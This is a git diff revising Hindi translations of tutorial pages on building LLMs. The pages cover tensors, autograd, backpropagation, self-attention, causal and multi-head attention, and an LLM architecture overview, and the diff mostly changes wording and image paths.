Pretraining एक बुनियादी चरण है जिसमें एक बड़े भाषा मॉडल (LLM) को विशाल और विविध मात्रा में पाठ डेटा के संपर्क में लाया जाता है। इस चरण के दौरान, **LLM भाषा की बुनियादी संरचनाओं, पैटर्नों और बारीकियों को सीखता है**, जिसमें व्याकरण, शब्दावली, वाक्यविन्यास और संदर्भ संबंध शामिल हैं। इस व्यापक डेटा को संसाधित करके, मॉडल भाषा और सामान्य विश्व ज्ञान की एक विस्तृत समझ प्राप्त करता है। यह व्यापक आधार LLM को सुसंगत और संदर्भ में प्रासंगिक पाठ उत्पन्न करने में सक्षम बनाता है। इसके बाद, यह पूर्व-प्रशिक्षित मॉडल फाइन-ट्यूनिंग के लिए जा सकता है, जहां इसे विशिष्ट कार्यों या क्षेत्रों के लिए अपनी क्षमताओं को अनुकूलित करने के लिए विशेष डेटा सेट पर और प्रशिक्षित किया जाता है, जिससे इसके प्रदर्शन और लक्षित अनुप्रयोगों में प्रासंगिकता में सुधार होता है।
|
||||
|
||||
## Main LLM components
|
||||
|
||||
|
@ -30,24 +30,24 @@ GPT_CONFIG_124M = {
|
|||
```
|
||||
## Tensors in PyTorch
|
||||
|
||||
In PyTorch, a **tensor** एक मौलिक डेटा संरचना है जो एक बहु-आयामी सरणी के रूप में कार्य करती है, जो स्केलर, वेक्टर और मैट्रिस जैसे अवधारणाओं को संभावित रूप से उच्च आयामों में सामान्यीकृत करती है। टेन्सर PyTorch में डेटा का प्रतिनिधित्व और हेरफेर करने का प्राथमिक तरीका हैं, विशेष रूप से गहरे शिक्षण और न्यूरल नेटवर्क के संदर्भ में।
|
||||
In PyTorch, a **tensor** एक मौलिक डेटा संरचना है जो एक बहु-आयामी सरणी के रूप में कार्य करती है, जो स्केलर, वेक्टर और मैट्रिस जैसे अवधारणाओं को संभावित रूप से उच्च आयामों में सामान्यीकृत करती है। टेन्सर वह प्राथमिक तरीका है जिससे डेटा को PyTorch में दर्शाया और हेरफेर किया जाता है, विशेष रूप से गहरे शिक्षण और न्यूरल नेटवर्क के संदर्भ में।
|
||||
|
||||
### Mathematical Concept of Tensors
|
||||
|
||||
* **Scalars**: रैंक 0 के टेन्सर, जो एकल संख्या का प्रतिनिधित्व करते हैं (शून्य-आयामी)। जैसे: 5
|
||||
* **Vectors**: रैंक 1 के टेन्सर, जो संख्याओं की एक-आयामी सरणी का प्रतिनिधित्व करते हैं। जैसे: \[5,1]
|
||||
* **Vectors**: रैंक 1 के टेन्सर, जो संख्याओं के एक-आयामी सरणी का प्रतिनिधित्व करते हैं। जैसे: \[5,1]
|
||||
* **Matrices**: रैंक 2 के टेन्सर, जो पंक्तियों और स्तंभों के साथ दो-आयामी सरणियों का प्रतिनिधित्व करते हैं। जैसे: \[\[1,3], \[5,2]]
|
||||
* **Higher-Rank Tensors**: रैंक 3 या अधिक के टेन्सर, जो उच्च आयामों में डेटा का प्रतिनिधित्व करते हैं (जैसे, रंगीन छवियों के लिए 3D टेन्सर)।
|
||||
|
||||
### Tensors as Data Containers
|
||||
|
||||
संगणनात्मक दृष्टिकोण से, टेन्सर बहु-आयामी डेटा के लिए कंटेनर के रूप में कार्य करते हैं, जहाँ प्रत्येक आयाम डेटा के विभिन्न विशेषताओं या पहलुओं का प्रतिनिधित्व कर सकता है। यह टेन्सरों को मशीन लर्निंग कार्यों में जटिल डेटा सेट को संभालने के लिए अत्यधिक उपयुक्त बनाता है।
|
||||
गणनात्मक दृष्टिकोण से, टेन्सर बहु-आयामी डेटा के लिए कंटेनर के रूप में कार्य करते हैं, जहाँ प्रत्येक आयाम डेटा के विभिन्न विशेषताओं या पहलुओं का प्रतिनिधित्व कर सकता है। यह टेन्सरों को मशीन लर्निंग कार्यों में जटिल डेटा सेट को संभालने के लिए अत्यधिक उपयुक्त बनाता है।
|
||||
|
||||
### PyTorch Tensors vs. NumPy Arrays
|
||||
|
||||
हालांकि PyTorch टेन्सर संख्यात्मक डेटा को स्टोर और हेरफेर करने की अपनी क्षमता में NumPy सरणियों के समान हैं, वे गहरे शिक्षण के लिए महत्वपूर्ण अतिरिक्त कार्यक्षमताएँ प्रदान करते हैं:
|
||||
हालांकि PyTorch टेन्सर अपने संख्यात्मक डेटा को स्टोर और हेरफेर करने की क्षमता में NumPy सरणियों के समान हैं, वे गहरे शिक्षण के लिए महत्वपूर्ण अतिरिक्त कार्यक्षमताएँ प्रदान करते हैं:
|
||||
|
||||
* **Automatic Differentiation**: PyTorch टेन्सर स्वचालित रूप से ग्रेडिएंट्स (autograd) की गणना का समर्थन करते हैं, जो न्यूरल नेटवर्क को प्रशिक्षित करने के लिए आवश्यक व्युत्क्रमों की गणना की प्रक्रिया को सरल बनाता है।
|
||||
* **Automatic Differentiation**: PyTorch टेन्सर स्वचालित रूप से ग्रेडिएंट्स (autograd) की गणना का समर्थन करते हैं, जो न्यूरल नेटवर्क को प्रशिक्षित करने के लिए आवश्यक व्युत्क्रम की गणना की प्रक्रिया को सरल बनाता है।
|
||||
* **GPU Acceleration**: PyTorch में टेन्सरों को GPUs पर स्थानांतरित और गणना की जा सकती है, जो बड़े पैमाने पर गणनाओं को काफी तेज़ी से करता है।
|
||||
|
||||
### Creating Tensors in PyTorch
|
||||
|
@ -79,7 +79,7 @@ PyTorch टेन्सर विभिन्न प्रकार के ड
|
|||
tensor1d = torch.tensor([1, 2, 3])
|
||||
print(tensor1d.dtype) # Output: torch.int64
|
||||
```
|
||||
* Python पूर्णांकों से बनाए गए टेन्सर का प्रकार `torch.int64` है।
|
||||
* Python पूर्णां से बनाए गए टेन्सर का प्रकार `torch.int64` है।
|
||||
* Python फ्लोट्स से बनाए गए टेन्सर का प्रकार `torch.float32` है।
|
||||
|
||||
टेन्सर के डेटा प्रकार को बदलने के लिए, `.to()` विधि का उपयोग करें:
|
||||
|
@ -116,23 +116,23 @@ result = tensor2d @ tensor2d.T
|
|||
|
||||
टेन्सर PyTorch में न्यूरल नेटवर्क बनाने और प्रशिक्षित करने के लिए आवश्यक हैं:
|
||||
|
||||
* वे इनपुट डेटा, वज़न और पूर्वाग्रहों को संग्रहीत करते हैं।
|
||||
* वे इनपुट डेटा, वेट्स और बायस को संग्रहीत करते हैं।
|
||||
* वे प्रशिक्षण एल्गोरिदम में आगे और पीछे के पास के लिए आवश्यक संचालन को सुविधाजनक बनाते हैं।
|
||||
* ऑटोग्रेड के साथ, टेन्सर ग्रेडिएंट्स की स्वचालित गणना को सक्षम करते हैं, जिससे अनुकूलन प्रक्रिया को सरल बनाया जा सकता है।
|
||||
|
||||
## स्वचालित विभेदन
|
||||
|
||||
स्वचालित विभेदन (AD) एक गणनात्मक तकनीक है जिसका उपयोग **कार्यात्मक (ग्रेडिएंट्स)** के व्युत्पत्तियों का मूल्यांकन कुशलता और सटीकता से करने के लिए किया जाता है। न्यूरल नेटवर्क के संदर्भ में, AD **ग्रेडिएंट डिसेंट** जैसे **अनुकूलन एल्गोरिदम** के लिए आवश्यक ग्रेडिएंट्स की गणना को सक्षम करता है। PyTorch एक स्वचालित विभेदन इंजन प्रदान करता है जिसे **ऑटोग्रेड** कहा जाता है जो इस प्रक्रिया को सरल बनाता है।
|
||||
स्वचालित विभेदन (AD) एक गणनात्मक तकनीक है जिसका उपयोग **कार्यात्मक (ग्रेडिएंट्स)** के व्युत्पत्तियों का मूल्यांकन कुशलता और सटीकता से करने के लिए किया जाता है। न्यूरल नेटवर्क के संदर्भ में, AD अनुकूलन एल्गोरिदम जैसे **ग्रेडिएंट डिसेंट** के लिए आवश्यक ग्रेडिएंट्स की गणना को सक्षम करता है। PyTorch एक स्वचालित विभेदन इंजन प्रदान करता है जिसे **ऑटोग्रेड** कहा जाता है जो इस प्रक्रिया को सरल बनाता है।
|
||||
|
||||
### स्वचालित विभेदन का गणितीय स्पष्टीकरण
|
||||
|
||||
**1. चेन नियम**
|
||||
|
||||
स्वचालित विभेदन के केंद्र में कलन के **चेन नियम** है। चेन नियम कहता है कि यदि आपके पास कार्यों का एक संयोजन है, तो संयोजित कार्य का व्युत्पत्ति संयोजित कार्यों के व्युत्पत्तियों के गुणनफल के बराबर है।
|
||||
स्वचालित विभेदन के केंद्र में कलन से **चेन नियम** है। चेन नियम कहता है कि यदि आपके पास कार्यों का एक संयोजन है, तो संयोजित कार्य का व्युत्पत्ति संयोजित कार्यों के व्युत्पत्तियों के गुणनफल के बराबर है।
|
||||
|
||||
गणितीय रूप से, यदि `y=f(u)` और `u=g(x)` है, तो `y` का `x` के सापेक्ष व्युत्पत्ति है:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. गणनात्मक ग्राफ**
|
||||
|
||||
|
@ -142,23 +142,23 @@ AD में, गणनाएँ **गणनात्मक ग्राफ**
|
|||
|
||||
आइए एक सरल कार्य पर विचार करें:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
जहाँ:
|
||||
|
||||
* `σ(z)` सिग्मॉइड फ़ंक्शन है।
|
||||
* `σ(z)` सिग्मॉइड कार्य है।
|
||||
* `y=1.0` लक्ष्य लेबल है।
|
||||
* `L` हानि है।
|
||||
|
||||
हम हानि `L` के ग्रेडिएंट को वज़न `w` और पूर्वाग्रह `b` के सापेक्ष गणना करना चाहते हैं।
|
||||
हम हानि `L` के ग्रेडिएंट को वेट `w` और बायस `b` के सापेक्ष गणना करना चाहते हैं।
|
||||
|
||||
**4. मैन्युअल रूप से ग्रेडिएंट्स की गणना करना**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**5. संख्यात्मक गणना**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### PyTorch में स्वचालित विभेदन को लागू करना
|
||||
|
||||
|
@ -200,21 +200,21 @@ Gradient w.r.t b: tensor([-0.0817])
|
|||
|
||||
* **Forward Pass:** प्रत्येक परत के माध्यम से इनपुट पास करके नेटवर्क का आउटपुट गणना करें।
|
||||
* **Compute Loss:** नेटवर्क के आउटपुट और लक्ष्य लेबल का उपयोग करके लॉस फ़ंक्शन का मूल्यांकन करें।
|
||||
* **Backward Pass (Backpropagation):** आउटपुट परत से इनपुट परत तक चेन नियम को पुनरावृत्त करते हुए नेटवर्क में प्रत्येक पैरामीटर के सापेक्ष लॉस के ग्रेडिएंट्स की गणना करें।
|
||||
* **Backward Pass (Backpropagation):** आउटपुट परत से इनपुट परत तक श्रृंखला नियम को पुनरावृत्त करते हुए नेटवर्क में प्रत्येक पैरामीटर के सापेक्ष लॉस के ग्रेडिएंट्स की गणना करें।
|
||||
|
||||
### **2. Backpropagation Algorithm**
|
||||
|
||||
* **Step 1:** नेटवर्क पैरामीटर (वेट्स और बायस) को प्रारंभ करें।
|
||||
* **Step 2:** प्रत्येक प्रशिक्षण उदाहरण के लिए, आउटपुट की गणना करने के लिए एक फॉरवर्ड पास करें।
|
||||
* **Step 3:** लॉस की गणना करें।
|
||||
* **Step 4:** चेन नियम का उपयोग करके प्रत्येक पैरामीटर के सापेक्ष लॉस के ग्रेडिएंट्स की गणना करें।
|
||||
* **Step 4:** श्रृंखला नियम का उपयोग करके प्रत्येक पैरामीटर के सापेक्ष लॉस के ग्रेडिएंट्स की गणना करें।
|
||||
* **Step 5:** एक ऑप्टिमाइजेशन एल्गोरिदम (जैसे, ग्रेडिएंट डिसेंट) का उपयोग करके पैरामीटर को अपडेट करें।
|
||||
|
||||
### **3. Mathematical Representation**
|
||||
|
||||
एक सरल न्यूरल नेटवर्क पर विचार करें जिसमें एक छिपी हुई परत है:
|
||||
एक साधारण न्यूरल नेटवर्क पर विचार करें जिसमें एक छिपी हुई परत है:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **4. PyTorch Implementation**
|
||||
|
||||
|
@ -264,7 +264,7 @@ print(f"Gradient of {name}: {param.grad}")
|
|||
In this code:
|
||||
|
||||
* **Forward Pass:** नेटवर्क के आउटपुट की गणना करता है।
|
||||
* **Backward Pass:** `loss.backward()` हानि के ग्रेडिएंट की गणना करता है सभी पैरामीटर के सापेक्ष।
|
||||
* **Backward Pass:** `loss.backward()` सभी पैरामीटर के सापेक्ष हानि के ग्रेडिएंट की गणना करता है।
|
||||
* **Parameter Update:** `optimizer.step()` गणना किए गए ग्रेडिएंट के आधार पर पैरामीटर को अपडेट करता है।
|
||||
|
||||
### **5. Understanding Backward Pass**
|
||||
|
@ -273,7 +273,7 @@ Backward pass के दौरान:
|
|||
|
||||
* PyTorch गणनात्मक ग्राफ को उल्टे क्रम में पार करता है।
|
||||
* प्रत्येक ऑपरेशन के लिए, यह ग्रेडिएंट की गणना करने के लिए चेन नियम लागू करता है।
|
||||
* ग्रेडिएंट को प्रत्येक पैरामीटर टेन्सर के `.grad` विशेषता में संचित किया जाता है।
|
||||
* ग्रेडिएंट प्रत्येक पैरामीटर टेन्सर के `.grad` विशेषता में संचित होते हैं।
|
||||
|
||||
### **6. Advantages of Automatic Differentiation**
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@ Attention mechanisms allow neural networks to f**ocus on specific parts of the i
|
|||
|
||||
{% hint style="success" %}
|
||||
इस चौथे चरण का लक्ष्य बहुत सरल है: **कुछ ध्यान तंत्र लागू करें**। ये बहुत सारे **दोहराए गए परतें** होने जा रहे हैं जो **शब्द के शब्दावली में उसके पड़ोसियों के साथ संबंध को कैप्चर करेंगे जो LLM को प्रशिक्षित करने के लिए वर्तमान वाक्य में उपयोग किया जा रहा है**।\
|
||||
इसके लिए बहुत सारी परतें उपयोग की जाती हैं, इसलिए बहुत सारे प्रशिक्षनीय पैरामीटर इस जानकारी को कैप्चर करने जा रहे हैं।
|
||||
इसके लिए बहुत सारी परतें उपयोग की जाती हैं, इसलिए बहुत सारे प्रशिक्षित करने योग्य पैरामीटर इस जानकारी को कैप्चर करने जा रहे हैं।
|
||||
{% endhint %}
|
||||
|
||||
### Understanding Attention Mechanisms
|
||||
|
@ -25,7 +25,7 @@ Self-attention, or intra-attention, is a mechanism where attention is applied wi
|
|||
|
||||
* **Tokens**: इनपुट अनुक्रम के व्यक्तिगत तत्व (जैसे, वाक्य में शब्द)।
|
||||
* **Embeddings**: टोकनों के वेक्टर प्रतिनिधित्व, जो अर्थ संबंधी जानकारी को कैप्चर करते हैं।
|
||||
* **Attention Weights**: मान जो यह निर्धारित करते हैं कि प्रत्येक टोकन अन्य टोकनों की तुलना में कितना महत्वपूर्ण है।
|
||||
* **Attention Weights**: मान जो यह निर्धारित करते हैं कि प्रत्येक टोकन अन्य टोकनों के सापेक्ष कितना महत्वपूर्ण है।
|
||||
|
||||
### Calculating Attention Weights: A Step-by-Step Example
|
||||
|
||||
|
@ -47,44 +47,44 @@ For each word in the sentence, compute the **attention score** with respect to "
|
|||
|
||||
**Attention Score between "Hello" and "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Attention Score between "shiny" and "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Attention Score between "sun" and "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
#### Step 2: Normalize Attention Scores to Obtain Attention Weights
|
||||
|
||||
{% hint style="success" %}
|
||||
गणितीय शर्तों में खो न जाएं, इस फ़ंक्शन का लक्ष्य सरल है, सभी वज़नों को सामान्यीकृत करें ताकि **वे कुल मिलाकर 1 हों**।
|
||||
|
||||
इसके अलावा, **softmax** फ़ंक्शन का उपयोग किया जाता है क्योंकि यह गुणनात्मक भाग के कारण भिन्नताओं को बढ़ाता है, उपयोगी मानों का पता लगाना आसान बनाता है।
|
||||
इसके अलावा, **softmax** फ़ंक्शन का उपयोग किया जाता है क्योंकि यह गुणात्मक भाग के कारण भिन्नताओं को बढ़ाता है, जिससे उपयोगी मानों का पता लगाना आसान हो जाता है।
|
||||
{% endhint %}
|
||||
|
||||
Apply the **softmax function** to the attention scores to convert them into attention weights that sum to 1.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||
|
||||
Calculating the exponentials:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||
|
||||
Calculating the sum:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Calculating attention weights:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
||||
|
||||
#### Step 3: Compute the Context Vector
|
||||
|
||||
{% hint style="success" %}
|
||||
बस प्रत्येक ध्यान वजन को संबंधित टोकन आयामों से गुणा करें और फिर सभी आयामों को जोड़ें ताकि केवल 1 वेक्टर (संदर्भ वेक्टर) प्राप्त हो सके 
|
||||
बस प्रत्येक ध्यान वजन को संबंधित टोकन आयामों से गुणा करें और फिर सभी आयामों को जोड़ें ताकि केवल 1 वेक्टर (संदर्भ वेक्टर) प्राप्त हो सके।
|
||||
{% endhint %}
|
||||
|
||||
The **context vector** is computed as the weighted sum of the embeddings of all words, using the attention weights.
|
||||
|
@ -95,13 +95,13 @@ Calculating each component:
|
|||
|
||||
* **Weighted Embedding of "Hello"**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
* **Weighted Embedding of "shiny"**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
* **Weighted Embedding of "sun"**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Summing the weighted embeddings:
|
||||
|
||||
|
@ -119,7 +119,7 @@ Summing the weighted embeddings:
|
|||
|
||||
In practice, self-attention mechanisms use **trainable weights** to learn the best representations for queries, keys, and values. This involves introducing three weight matrices:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
|
||||
The query is the data to use like before, while the keys and values matrices are just random-trainable matrices.
|
||||
|
||||
|
@ -149,7 +149,7 @@ W_query = nn.Parameter(torch.rand(d_in, d_out))
|
|||
W_key = nn.Parameter(torch.rand(d_in, d_out))
|
||||
W_value = nn.Parameter(torch.rand(d_in, d_out))
|
||||
```
|
||||
क्वेरी, की, और मानों की गणना करें:
|
||||
क्वेरी, की और वैल्यू की गणना करें:
|
||||
```python
|
||||
queries = torch.matmul(inputs, W_query)
|
||||
keys = torch.matmul(inputs, W_key)
|
||||
|
@ -179,7 +179,7 @@ values = torch.matmul(inputs, W_value)
|
|||
|
||||
#### Step 3: Compute Context Vectors
|
||||
|
||||
प्रारंभिक उदाहरण की तरह, सभी मानों के मैट्रिक्स को जोड़ें, प्रत्येक को इसके ध्यान वजन से गुणा करें:
|
||||
प्रारंभिक उदाहरण की तरह, सभी मानों की मैट्रिक्स को जोड़ें, प्रत्येक को इसके ध्यान वजन से गुणा करें:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -230,7 +230,7 @@ print(sa_v2(inputs))
|
|||
|
||||
## कारणात्मक ध्यान: भविष्य के शब्दों को छिपाना
|
||||
|
||||
LLMs के लिए हम चाहते हैं कि मॉडल केवल उन टोकनों पर विचार करे जो वर्तमान स्थिति से पहले दिखाई देते हैं ताकि **अगले टोकन** की **भविष्यवाणी** की जा सके। **कारणात्मक ध्यान**, जिसे **मास्क किया गया ध्यान** भी कहा जाता है, इसे ध्यान तंत्र को संशोधित करके प्राप्त करता है ताकि भविष्य के टोकनों तक पहुंच को रोका जा सके।
|
||||
LLMs के लिए हम चाहते हैं कि मॉडल केवल उन टोकनों पर विचार करे जो वर्तमान स्थिति से पहले प्रकट होते हैं ताकि **अगले टोकन** की **भविष्यवाणी** की जा सके। **कारणात्मक ध्यान**, जिसे **मास्क किया गया ध्यान** भी कहा जाता है, इसे ध्यान तंत्र को संशोधित करके प्राप्त किया जाता है ताकि भविष्य के टोकनों तक पहुंच को रोका जा सके।
|
||||
|
||||
### कारणात्मक ध्यान मास्क लागू करना
|
||||
|
||||
|
@ -258,7 +258,7 @@ attention_weights = torch.softmax(masked_scores, dim=-1)
|
|||
dropout = nn.Dropout(p=0.5)
|
||||
attention_weights = dropout(attention_weights)
|
||||
```
|
||||
एक नियमित ड्रॉपआउट लगभग 10-20% है।
|
||||
एक नियमित ड्रॉपआउट लगभग 10-20% होता है।
|
||||
|
||||
### Code Example
|
||||
|
||||
|
@ -324,13 +324,13 @@ context_vecs = ca(batch)
|
|||
print(context_vecs)
|
||||
print("context_vecs.shape:", context_vecs.shape)
|
||||
```
|
||||
## एकल-हेड ध्यान को मल्टी-हेड ध्यान में विस्तारित करना
|
||||
## एकल-हेड ध्यान को बहु-हेड ध्यान में विस्तारित करना
|
||||
|
||||
**मल्टी-हेड ध्यान** व्यावहारिक रूप से आत्म-ध्यान कार्य के **कई उदाहरणों** को निष्पादित करने पर आधारित है, प्रत्येक के **अपने वजन** होते हैं ताकि विभिन्न अंतिम वेक्टरों की गणना की जा सके।
|
||||
**बहु-हेड ध्यान** व्यावहारिक रूप से आत्म-ध्यान कार्य के **कई उदाहरणों** को निष्पादित करने पर आधारित है, प्रत्येक के **अपने वजन** होते हैं ताकि विभिन्न अंतिम वेक्टर की गणना की जा सके।
|
||||
|
||||
### कोड उदाहरण
|
||||
|
||||
पिछले कोड का पुन: उपयोग करना और बस एक लपेटन जोड़ना जो इसे कई बार लॉन्च करता है, संभव हो सकता है, लेकिन यह [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) से एक अधिक अनुकूलित संस्करण है जो सभी सिरों को एक साथ संसाधित करता है (महंगे फॉर लूप की संख्या को कम करता है)। जैसा कि आप कोड में देख सकते हैं, प्रत्येक टोकन के आयामों को सिरों की संख्या के अनुसार विभिन्न आयामों में विभाजित किया गया है। इस तरह, यदि टोकन के 8 आयाम हैं और हम 3 सिरों का उपयोग करना चाहते हैं, तो आयामों को 4 आयामों के 2 ऐरे में विभाजित किया जाएगा और प्रत्येक सिर उनमें से एक का उपयोग करेगा:
|
||||
पिछले कोड का पुन: उपयोग करना संभव हो सकता है और बस एक लपेटन जोड़ना जो इसे कई बार लॉन्च करता है, लेकिन यह [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) से एक अधिक अनुकूलित संस्करण है जो सभी सिरों को एक साथ संसाधित करता है (महंगे फॉर लूप की संख्या को कम करता है)। जैसा कि आप कोड में देख सकते हैं, प्रत्येक टोकन के आयामों को सिरों की संख्या के अनुसार विभिन्न आयामों में विभाजित किया गया है। इस तरह, यदि टोकन के 8 आयाम हैं और हम 3 सिरों का उपयोग करना चाहते हैं, तो आयामों को 4 आयामों के 2 ऐरे में विभाजित किया जाएगा और प्रत्येक सिर उनमें से एक का उपयोग करेगा:
|
||||
```python
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
|
@ -412,7 +412,7 @@ For another compact and efficient implementation you could use the [`torch.nn.Mu
|
|||
{% hint style="success" %}
|
||||
ChatGPT का संक्षिप्त उत्तर कि क्यों टोकनों के आयामों को सिरों के बीच विभाजित करना बेहतर है बजाय इसके कि प्रत्येक सिर सभी टोकनों के सभी आयामों की जांच करे:
|
||||
|
||||
हालांकि प्रत्येक सिर को सभी एम्बेडिंग आयामों को संसाधित करने की अनुमति देना फायदेमंद लग सकता है क्योंकि प्रत्येक सिर को पूर्ण जानकारी तक पहुंच होगी, मानक प्रथा है कि **सिरों के बीच एम्बेडिंग आयामों को विभाजित किया जाए**। यह दृष्टिकोण गणनात्मक दक्षता को मॉडल प्रदर्शन के साथ संतुलित करता है और प्रत्येक सिर को विविध प्रतिनिधित्व सीखने के लिए प्रोत्साहित करता है। इसलिए, एम्बेडिंग आयामों को विभाजित करना आमतौर पर प्रत्येक सिर को सभी आयामों की जांच करने से बेहतर होता है।
|
||||
हालांकि प्रत्येक सिर को सभी एम्बेडिंग आयामों को संसाधित करने की अनुमति देना फायदेमंद लग सकता है क्योंकि प्रत्येक सिर को पूर्ण जानकारी तक पहुंच होगी, मानक प्रथा है कि **सिरों के बीच एम्बेडिंग आयामों को विभाजित किया जाए**। यह दृष्टिकोण गणनात्मक दक्षता और मॉडल प्रदर्शन के बीच संतुलन बनाता है और प्रत्येक सिर को विविध प्रतिनिधित्व सीखने के लिए प्रोत्साहित करता है। इसलिए, एम्बेडिंग आयामों को विभाजित करना आमतौर पर सभी आयामों की जांच करने के बजाय प्राथमिकता दी जाती है।
|
||||
{% endhint %}
|
||||
|
||||
## References
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
## LLM Architecture
|
||||
|
||||
{% hint style="success" %}
|
||||
इस पांचवे चरण का लक्ष्य बहुत सरल है: **पूर्ण LLM की आर्किटेक्चर विकसित करना**। सब कुछ एक साथ रखें, सभी परतों को लागू करें और पाठ उत्पन्न करने या पाठ को IDs में और पीछे की ओर बदलने के लिए सभी कार्यों को बनाएं।
|
||||
इस पांचवें चरण का लक्ष्य बहुत सरल है: **पूर्ण LLM की आर्किटेक्चर विकसित करें**। सब कुछ एक साथ रखें, सभी परतों को लागू करें और पाठ उत्पन्न करने या पाठ को आईडी में और इसके विपरीत परिवर्तित करने के लिए सभी कार्यों को बनाएं।
|
||||
|
||||
यह आर्किटेक्चर प्रशिक्षण और भविष्यवाणी दोनों के लिए उपयोग किया जाएगा, जब इसे प्रशिक्षित किया गया हो।
|
||||
{% endhint %}
|
||||
|
@ -12,7 +12,7 @@ LLM आर्किटेक्चर का उदाहरण [https://github.
|
|||
|
||||
एक उच्च स्तर का प्रतिनिधित्व देखा जा सकता है:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
|
||||
